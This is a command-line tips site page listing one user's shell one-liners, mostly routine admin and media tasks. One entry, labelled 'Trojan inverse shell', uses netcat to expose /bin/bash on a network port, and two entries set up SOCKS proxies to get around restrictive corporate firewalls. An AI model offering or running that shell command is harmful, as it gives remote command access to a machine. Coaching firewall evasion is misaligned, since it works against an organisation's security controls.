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Commands by prayer

Commands by prayer from sorted by
Terminal - Commands by prayer - 26 results
tsocks <program>
2010-07-11 14:16:06
User: prayer
Tags: ssh SOCKS
5
Up
Down
Socksify any program to avoid restrictive firwalls

Require:

- tsocks (deb pkg)

- A working SOCKS proxy. It's easy with ssh:

$ ssh -N -D localhost:1080 your.home.pc -p 443

- tsocks configuration in your /etc/tsocks.conf (for the previous):

server = 127.0.0.1

server_port = 1080

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
sed -i 8d ~/.ssh/known_hosts
2010-07-10 14:22:34
User: prayer
Functions: sed
Tags: sed
30
Up
Down
Remove a line in a text file. Useful to fix "ssh host key change" warnings
Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
watch -tn1 'date -u +%T -d @$(expr $(date -d HH:MM +%s) - $(date +%s)) | toilet -f bigmono12'
2010-06-26 11:56:11
User: prayer
Functions: date expr watch
Tags: date time
-2
Up
Down
big countdown clock with hours, minutes and seconds

Change HH:MM with your target time.

This is for a Debian/Ubuntu GNU system. You need bash (package bash), date (package coreutils) and toilet (package toilet). Install with:

# apt-get install bash coreutils toilet toilet-fonts

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
while inotifywait -r -e MODIFY dir/; do make; done;
2010-06-08 23:34:00
User: prayer
Tags: Linux make inotify
2
Up
Down
make, or run a script, everytime a file in a directory is modified
Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
autossh -N -D localhost:1080 myhome.example.net -p 443
2010-05-22 19:52:30
User: prayer
Tags: ssh net
2
Up
Down
Start a SOCKS proxy to avoid a restrictive firewall

You may go to Internet by means of your home ssh server. You must configure your local proxy to send traffic through the proxy. Many programs allows that: firefox, pidgin, skype, gnome, etc.

Your home ssh server must listen in any of the ports permitted by your enterprise firewall. That usually includes 80 and 443.

Show sample output | Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}' -f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq
2010-05-22 19:37:26
User: prayer
Functions: cut grep sed sort uniq xargs
Tags: latex
1
Up
Down
Get debian package names corresponding to latex packages used in a document
Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1
2010-04-29 23:52:01
User: prayer
Functions: grep
Tags: networking
2
Up
Down
online MAC address lookup
Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
type <command>
2010-02-15 21:47:18
User: prayer
Functions: type
Tags: which PATH
0
Up
Down
shows the full path of shell commands
Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
tar -tf <file.tar.gz> | xargs rm -r
2009-07-06 22:23:11
User: prayer
Functions: rm tar xargs
Tags: tar
34
Up
Down
Remove all files previously extracted from a tar(.gz) file.
Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]"
2009-05-21 19:33:55
User: prayer
Functions: python
Tags: scapy
1
Up
Down
Using scapy to get the IP of the iface used to contact local gw (i.e. supposed host IP)

You need python-scapy package

Show sample output | Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
mencoder -aid 2 -oac copy file.avi -o english.mp3
2009-05-19 19:24:43
User: prayer
Tags: mencoder
0
Up
Down
Extract an audio track from a multilingual video file, for a specific language.
Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
2009-04-27 18:59:31
User: prayer
Tags: inkscape
5
Up
Down
Convert a SVG file to grayscale

It requires inkscape 0.46 and lxml packages

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
disown -a && exit
2009-04-10 12:22:34
User: prayer
Tags: bash
87
Up
Down
Close shell keeping all subprocess running
Comments (8) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
kill %1
2009-04-09 11:54:13
User: prayer
Functions: kill
Tags: bash
-5
Up
Down
Kill a background job
Show sample output | Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d
2009-03-24 18:53:26
User: prayer
Functions: awk sed
Tags: Network
-1
Up
Down
List nearbies
Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
for i in $(ls *.od{tp}); do unoconv -f pdf $i; done
2009-03-10 20:03:48
User: prayer
Functions: ls
Tags: OpenOffice.org
10
Up
Down
Converts to PDF all the OpenOffice.org files in the directory

Requieres unoconv (debian package)

Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
ssh -NL 2000:remotehost:22 remotehost
2009-03-10 15:09:54
User: prayer
Functions: ssh
Tags: ssh
2
Up
Down
Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
ssh -fX <user>@<host> <program>
2009-03-10 15:02:35
User: prayer
Functions: ssh
Tags: ssh
14
Up
Down
Run any GUI program remotely
ssh -X example.org xeyes

The SSH server configuration requires:

X11Forwarding yes # this is default in Debian

And it's convenient too:

Compression delayed

Comments (6) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true
2009-03-10 14:53:33
User: prayer
Tags: gtk
-1
Up
Down
Activate on-the-fly GTK accels

Then, you can assign new accels to GTK menu actions pressing the keys while the option is active.

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
jhead -autorot *.jpg
2009-03-03 22:23:22
User: prayer
9
Up
Down
Rotate a set of photos matching their EXIF data.

You need jhead package.

Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
emacs +400 code.py
2009-03-03 14:30:19
User: prayer
Functions: emacs
Tags: emacs
2
Up
Down
Open a file at the specified line

You may also use +line:column syntax.

Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
sed -i 8d ~/.ssh/known_hosts
2009-03-03 01:13:28
User: prayer
Functions: sed
14
Up
Down
Delete the specified line
Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
nc -l -p 2000 -e /bin/bash
2009-03-02 15:58:25
User: prayer
Tags: Network netcat
6
Up
Down
Trojan inverse shell

To connect to the shell run:

nc server.example.org 2000
Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
nc -l -p 2000 < song.mp3
2009-03-02 15:54:21
User: prayer
Tags: Network netcat
8
Up
Down
mp3 streaming
Show sample output | Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
nc -l -p 2000 -c "nc example.org 3000"
2009-03-01 21:28:39
User: prayer
Tags: Network netcat
23
Up
Down
Create a single-use TCP (or UDP) proxy

Redirect the local port 2000 to the remote port 3000. The same but UDP:

nc -u -l -p 2000 -c "nc -u example.org 3000"

It may be used to "convert" TCP client to UDP server (or viceversa):

nc -l -p 2000 -c "nc -u example.org 3000"
Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate